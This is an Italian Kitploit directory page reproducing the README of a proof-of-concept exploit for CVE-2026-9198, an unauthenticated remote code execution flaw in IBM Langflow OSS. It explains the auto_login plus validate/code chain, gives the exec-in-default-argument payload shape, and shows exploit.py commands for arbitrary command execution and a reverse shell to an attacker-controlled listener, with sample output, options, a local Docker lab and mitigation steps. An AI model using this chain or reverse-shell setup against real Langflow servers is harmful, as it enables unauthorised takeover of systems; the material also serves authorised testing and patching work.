Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
EXPLOIT-CVE-2026-9198 — Proof-of-concept exploit per CVE-2026-9198, una RCE non autenticata in IBM Langflow OSS, che combina gli endpoint auto_login e validate/code. Include un laboratorio Docker vulnerabile per test autorizzati e formazione. | Kitploit
Strumenti/GitHubGitHub/joaovicdev/exploit-cve-2026-9198
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingLab e Pratica
GitHubjoaovicdev/exploit-cve-2026-9198

EXPLOIT-CVE-2026-9198

Proof-of-concept exploit per CVE-2026-9198, una RCE non autenticata in IBM Langflow OSS, che combina gli endpoint auto_login e validate/code. Include un laboratorio Docker vulnerabile per test autorizzati e formazione.

Vedi Repository
720 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-9198 — IBM Langflow OSS RCE non autenticata

Proof-of-concept exploit e un laboratorio Docker autonomo per CVE-2026-9198, una vulnerabilità di esecuzione remota di codice non autenticata in IBM Langflow OSS.

L'exploit combina due endpoint — auto_login (che rilascia un token SUPERUSER a chiunque) e validate/code (che esegue Python fornito dall'attaccante) — per ottenere l'esecuzione di codice come utente del servizio Langflow, senza richiedere credenziali.

[!WARNING] Solo per test di sicurezza autorizzati e scopi educativi. Esegui questo esclusivamente contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. Il laboratorio Docker in questo repository è deliberatamente vulnerabile — tienilo sulla tua macchina e non esporlo mai su internet. Sei responsabile dell'uso che fai di questo codice.

La vulnerabilità

CVECVE-2026-9198
ProdottoIBM Langflow OSS
Versioni affette1.0.0 – 1.10.0
Corretta in1.10.1
CVSS 3.19.8 Critica — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-94 — Controllo improprio della generazione di codice ('Code Injection')
CISA KEVSì — nota come sfruttata in natura

Come funziona

L'exploit è una catena in due passaggi che non richiede autenticazione:

1. Ottieni un token SUPERUSER — GET /api/v1/auto_login

Langflow viene fornito con LANGFLOW_AUTO_LOGIN abilitato per impostazione predefinita. Quando è attivo, l' endpoint auto_login rilascia un JWT SUPERUSER di lunga durata a qualsiasi chiamante, senza chiedere credenziali:

root@kitploit:~
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }

2. Esegui codice — POST /api/v1/validate/code

Dalla versione 1.3.0 questo endpoint richiede autenticazione (questa era la correzione per CVE-2025-3248) — ma il passaggio 1 ci ha appena fornito un token SUPERUSER valido, quindi il controllo è inutile. Internamente l'endpoint chiama validate_code(), che compila ed esegue ogni definizione di funzione che riceve:

root@kitploit:~
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        try:
            exec(code_obj)                       # <-- esegue la def
        except Exception as e:
            errors["function"]["errors"].append(str(e))   # <-- l'output trapela qui

Eseguire un'istruzione def valuta i valori dei suoi argomenti predefiniti. Quindi una funzione il cui argomento predefinito è exec("...") esegue codice arbitrario nel momento in cui viene validata — la funzione non viene nemmeno mai chiamata. Qualsiasi eccezione sollevata viene catturata e restituita nella risposta sotto function.errors, che l'exploit usa per leggere l' output dei comandi tramite HTTP.

Forma del payload (il comando è avvolto in base64 per sopravvivere a qualsiasi quotatura):

root@kitploit:~
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
    pass

Contenuti

root@kitploit:~
.
├── exploit.py           # il PoC (esecuzione comandi + reverse shell)
├── docker-compose.yml   # laboratorio vulnerabile: langflow 1.10.0 + postgres
├── requirements.txt     # requests
└── README.md

Requisiti

  • Docker + Docker Compose (per il laboratorio)
  • Python 3.8+ e requests (pip install -r requirements.txt)

Avvia il laboratorio

root@kitploit:~
docker compose up -d

Langflow impiega un minuto o due per diventare pronto al primo avvio. Attendi finché non risponde:

root@kitploit:~
curl -fs http://127.0.0.1:9999/health && echo OK

Il servizio è volutamente vincolato a 127.0.0.1:9999 — non è raggiungibile dalla tua rete.

Esegui l'exploit

Installa la dipendenza, poi punta l'exploit al laboratorio.

root@kitploit:~
pip install -r requirements.txt

Esecuzione comandi

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"

Output di esempio:

root@kitploit:~
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------

Qualsiasi comando funziona: --cmd "uname -a && whoami && cat /etc/os-release".

Reverse shell

Avvia un listener:

root@kitploit:~
nc -lvnp 4444

Poi lancia il payload. Quando il target gira in Docker sulla stessa macchina, il contenitore raggiunge il tuo host su host.docker.internal (Docker Desktop); su un target reale usa il tuo IP instradabile:

root@kitploit:~
python3 exploit.py --url http://127.0.0.1:9999 \
    --reverse-shell --lhost host.docker.internal --lport 4444

Ottieni una /bin/sh interattiva sul tuo listener come utente langflow.

Opzioni

FlagDescrizione
--urlURL base del target (obbligatorio)
--cmdComando da eseguire (predefinito id)
--reverse-shellFornisce una reverse shell invece di eseguire --cmd
--lhost / --lportHost e porta di callback della reverse shell
--tokenUsa un token bearer fornito e salta auto_login
--timeoutTimeout per richiesta, in secondi (predefinito 15)
--insecureSalta la verifica TLS (per target https)

Mitigazione

  • Aggiorna a Langflow ≥ 1.10.1.
  • Disabilita l'auto-login in qualsiasi cosa raggiungibile dalla rete: LANGFLOW_AUTO_LOGIN=false, e imposta credenziali superuser reali.
  • Non esporre mai Langflow direttamente su internet; mettilo dietro autenticazione e controlli di rete.

Riferimenti

  • NVD — CVE-2026-9198
  • IBM Security Bulletin
  • CISA Known Exploited Vulnerabilities Catalog
  • Predecessore correlato: CVE-2025-3248 (l'iniezione di codice validate/code su cui questo si basa)
Scarica lo strumento